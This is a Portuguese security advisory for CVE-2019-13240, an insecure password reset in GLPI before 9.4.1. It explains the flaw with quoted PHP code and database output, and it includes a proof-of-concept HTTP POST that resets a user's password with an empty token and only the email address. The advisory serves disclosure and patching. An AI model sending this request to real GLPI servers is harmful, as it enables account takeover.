For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00475
Identificador(es)
ASA-2019-00475, CVE-2019-13240
Título
Redefinição de senha insegura
Fabricante(s)
GLPI Project
Produto(s)
GLPI
Versão(ões) afetada(s)
GLPI 9.x anterior a versão 9.4.1
Versão(ões) corrigida(s)
GLPI versão 9.4.1
Prova de conceito
Sim
Descrição
Foi descoberto que o recurso de redefinição de senha não é seguro. De fato, após uma redefinição bem-sucedida da senha por um usuário, é possível alterar novamente sua senha durante 24 horas sem qualquer conhecimento, exceto seu endereço de e-mail.
Detalhes técnicos
Quando um usuário solicita uma redefinição de senha, um token é gerado e armazenado no banco de dados com a data:
public function forgetPassword($email) { […] $input = [ 'password_forget_token' => sha1(Toolbox::getRandomString(30)), 'password_forget_token_date' => $_SESSION["glpi_currenttime"], 'id' => $this->fields['id'], ]; $this->update($input);
O token é válido por 24 horas antes de ser invalidado. A verificação é executada na função updateForgottenPassword:
public function updateForgottenPassword(array $input) { [...] if (($input['password_forget_token'] == $this->fields['password_forget_token']) && (abs(strtotime($_SESSION["glpi_currenttime"]) -strtotime($this->fields['password_forget_token_date'])) < DAY_TIMESTAMP)) { $input['id'] = $this->fields['id']; Config::validatePassword($input["password"], false); // Throws exception if password is invalid if (!$this->update($input)) { return false; } $input2 = [ 'password_forget_token' => ' ', 'password_forget_token_date' => null, 'id' => $this->fields['id'] ]; $this->update($input2); return true; [...]
Como pode ser visto, após a atualização da senha, o token e a data são redefinidos. Mas, na verdade, apenas o token é redefinido, mas a data ainda está no banco de dados:
MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users; +----+----------------------------------------------------------------------+-------------------------------------------+ | id |password_forget_token | password_forget_token_date | +----+----------------------------------------------------------------------+-------------------------------------------+ [...] | 5 |72eeb8be4913d588b97cb14e12144f298882c0a3| 2019-02-22 16:04:18 | +----+---------------------------------------------------------------------+--------------------------------------------+ […] MariaDB [glpi]> select id,password_forget_token,password_forget_token_date from glpi_users; +----+------------------------------------+-------------------------------------------+ | id | password_forget_token | password_forget_token_date | +----+------------------------------------+-------------------------------------------+ [...] | 5 | | 2019-02-22 16:04:18 | +----+------------------------------------+-------------------------------------------+
Isso significa que a condição para atualizar a senha pode ser verdadeira se o token estiver vazio e a senha puder ser atualizada, como:
POST /front/lostpassword.php HTTP/1.1 […] email=test %40test.com&password=aaa&password2=aaa&password_forget_token=&update=Save&_glpi_csrf_token= 64335fa587833cf85ae80e1cc92e03c3 HTTP/1.1 200 OK […] <div class='center'>Reset password successful.<br> […]
Créditos
Julien Legras (Synacktiv)
Referência(s)
Unsafe password reset in GLPI <9.4.1
https://www.synacktiv.com/ressources/advisories/GLPI_9.4.0_unsafe_reset.pdf
Fix password forget token check; fixes #5386
https://github.com/glpi-project/glpi/commit/5da9f99b2d81713b1e36016b47ce656a33648bc7
Password token date was not removed
https://github.com/glpi-project/glpi/commit/86a43ae47b3dd844947f40a2ffcf1a36e53dbba6
[9.4] Lost password #5386
https://github.com/glpi-project/glpi/issues/5386
CVE-2019-13240
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13240
CVE-2019-13240
https://nvd.nist.gov/vuln/detail/CVE-2019-13240
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 5 agosto 2019